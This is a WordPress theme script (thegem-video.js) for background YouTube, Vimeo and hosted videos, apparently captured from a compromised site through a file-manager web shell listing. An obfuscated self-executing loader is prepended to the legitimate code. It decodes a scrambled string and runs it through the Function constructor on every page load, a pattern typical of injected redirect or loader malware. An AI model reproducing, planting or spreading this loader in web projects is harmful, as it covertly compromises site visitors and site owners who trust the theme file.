AlkantarClanX12
Current Path : /home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/ |
Current File : /home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/thegem-video.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();class BaseLoader { constructor() { this.isInserted = false; } insertAPI() { var tag = document.createElement('script'); tag.src = this.getApiURL(); var firstScriptTag = document.getElementsByTagName('script')[0]; firstScriptTag.parentNode.insertBefore(tag, firstScriptTag); this.isInserted = true; } getVideoIDFromURL(url) { var videoIDParts = url.match(this.getURLRegex()); return videoIDParts && videoIDParts[1]; } onApiReady(callback) { var _this = this; if (!this.isInserted) { this.insertAPI(); } if (this.isApiLoaded()) { callback(this.getApiObject()); } else { // If not ready check again by timeout.. setTimeout(function () { _this.onApiReady(callback); }, 350); } } } class YoutubeLoader extends BaseLoader { getApiURL() { return 'https://www.youtube.com/iframe_api'; } getURLRegex() { return /^(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com\/(?:(?:watch)?\?(?:.*&)?vi?=|(?:embed|v|vi|user)\/))([^?&"'>]+)/; } isApiLoaded() { return window.YT && YT.loaded; } getApiObject() { return YT; } } class VimeoLoader extends BaseLoader { getApiURL() { return 'https://player.vimeo.com/api/player.js'; } getURLRegex() { return /^(?:https?:\/\/)?(?:www|player\.)?(?:vimeo\.com\/)?(?:video\/|external\/)?(\d+)([^.?&#"'>]?)/; } isApiLoaded() { return window.Vimeo; } getApiObject() { return Vimeo; } } class video { constructor(element) { this.element = element; this.settings = JSON.parse(element.dataset.settings); this.video_embed = this.element.querySelector('.background-video-embed'); this.video_hosted = this.element.querySelector('.background-video-hosted'); var is_mobile = (/iphone|ipod|android|blackberry|mini|windows\sce|palm/i.test(navigator.userAgent.toLowerCase())); if (!this.settings.play_on_mobile && is_mobile) { return; } this.init(); } calcVideosSize($video) { var aspectRatioSetting = '16:9'; if ('vimeo' === this.videoType) { aspectRatioSetting = $video.width + ':' + $video.height; } var containerWidth = this.element.offsetWidth, containerHeight = this.element.offsetHeight, aspectRatioArray = aspectRatioSetting.split(':'), aspectRatio = aspectRatioArray[0] / aspectRatioArray[1], ratioWidth = containerWidth / aspectRatio, ratioHeight = containerHeight * aspectRatio, isWidthFixed = containerWidth / containerHeight > aspectRatio; return { width: isWidthFixed ? containerWidth : ratioHeight, height: isWidthFixed ? ratioWidth : containerHeight }; } changeVideoSize() { if (!('hosted' === this.videoType) && !this.player) { return; } var $video, $video_wrapper; if ('youtube' === this.videoType) { $video = this.player.getIframe(); $video_wrapper = this.video_embed; } else if ('vimeo' === this.videoType) { $video = this.player.element; $video_wrapper = this.video_embed; } else if ('hosted' === this.videoType) { $video = this.video_hosted; $video_wrapper = this.video_hosted; } if (!$video) { return; } var size = this.calcVideosSize($video); $video_wrapper.style.width = size.width + 'px'; $video_wrapper.style.height = size.height + 'px'; } startVideoLoop(firstTime) { var _this5 = this; // If the section has been removed if (!this.player.getIframe().contentWindow) { return; } var elementSettings = this.settings, startPoint = elementSettings.background_video_start || 0, endPoint = elementSettings.background_video_end; if (elementSettings.background_play_once && !firstTime) { this.player.stopVideo(); return; } this.player.seekTo(startPoint); if (endPoint) { var durationToEnd = endPoint - startPoint + 1; setTimeout(function () { _this5.startVideoLoop(false); }, durationToEnd * 1000); } } prepareYTVideo(YT, videoID) { let _this1 = this; var $backgroundVideoContainer = this.element; var startStateCode = YT.PlayerState.PLAYING; // Since version 67, Chrome doesn't fire the `PLAYING` state at start time if (window.chrome) { startStateCode = YT.PlayerState.UNSTARTED; } var iframe_box = document.createElement("div"); this.video_embed.appendChild(iframe_box); $backgroundVideoContainer.classList.add('video-loading'); this.player = new YT.Player(iframe_box, { videoId: videoID, events: { onReady: function onReady() { _this1.player.mute(); _this1.player.getIframe().classList.add('youtube-video'); _this1.changeVideoSize(); _this1.startVideoLoop(true); _this1.player.playVideo(); }, onStateChange: function onStateChange(event) { switch (event.data) { case startStateCode: $backgroundVideoContainer.classList.remove('video-loading'); break; case YT.PlayerState.ENDED: _this1.player.seekTo(_this1.settings.background_video_start || 0); if (_this1.settings.background_play_once) { _this1.player.destroy(); } } } }, playerVars: { controls: 0, rel: 0, playsinline: 1, loop: true } }); } prepareVimeoVideo(Vimeo, videoId) { var _this2 = this; var elementSettings = this.settings, startTime = elementSettings.background_video_start ? elementSettings.background_video_start : 0, videoSize = this.element.offsetWidth, vimeoOptions = { id: videoId, width: videoSize.width, autoplay: true, loop: !elementSettings.background_play_once, transparent: false, background: true, muted: true }; this.player = new Vimeo.Player(this.video_embed, vimeoOptions); // Handle user-defined start/end times this.handleVimeoStartEndTimes(elementSettings); this.player.ready().then(function () { // _this2.player.element.classList.add('background-video-embed'); _this2.changeVideoSize(); }); } handleVimeoStartEndTimes(elementSettings) { var _this3 = this; // If a start time is defined, set the start time if (elementSettings.background_video_start) { this.player.on('play', function (data) { if (0 === data.seconds) { _this3.player.setCurrentTime(elementSettings.background_video_start); } }); } this.player.on('timeupdate', function (data) { // If an end time is defined, handle ending the video if (elementSettings.background_video_end && elementSettings.background_video_end < data.seconds) { if (elementSettings.background_play_once) { // Stop at user-defined end time if not loop _this3.player.pause(); } else { // Go to start time if loop _this3.player.setCurrentTime(elementSettings.background_video_start); } } // If start time is defined but an end time is not, go to user-defined start time at video end. // Vimeo JS API has an 'ended' event, but it never fires when infinite loop is defined, so we // get the video duration (returns a promise) then use duration-0.5s as end time _this3.player.getDuration().then(function (duration) { if (elementSettings.background_video_start && !elementSettings.background_video_end && data.seconds > duration - 0.5) { _this3.player.setCurrentTime(elementSettings.background_video_start); } }); }); } init() { let _this = this, videoLink = this.settings.url, videoID; if (-1 !== videoLink.indexOf('vimeo.com')) { this.videoType = 'vimeo'; this.apiProvider = new VimeoLoader(); } else if (videoLink.match(/^(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com)/)) { this.videoType = 'youtube'; this.apiProvider = new YoutubeLoader(); } if (this.apiProvider) { videoID = this.apiProvider.getVideoIDFromURL(videoLink); this.apiProvider.onApiReady(function (apiObject) { if ('youtube' === _this.videoType) { _this.prepareYTVideo(apiObject, videoID); } if ('vimeo' === _this.videoType) { _this.prepareVimeoVideo(apiObject, videoID); } }); } else { this.videoType = 'hosted'; var startTime = this.settings.background_video_start, endTime = this.settings.background_video_end; if (startTime || endTime) { videoLink += '#t=' + (startTime || 0) + (endTime ? ',' + endTime : ''); } this.video_hosted.setAttribute("src", videoLink); this.video_hosted.oncanplay = this.changeVideoSize.bind(this); if (this.settings.background_play_once) { this.video_hosted.onended = function () { _this.video_hosted.style.display = "none" }; } } window.addEventListener("resize", function () { _this.changeVideoSize(); }); } } let videos = document.getElementsByClassName("background-video-container"), i; for (i = 0; i < videos.length; i++) { new video(videos[i]); }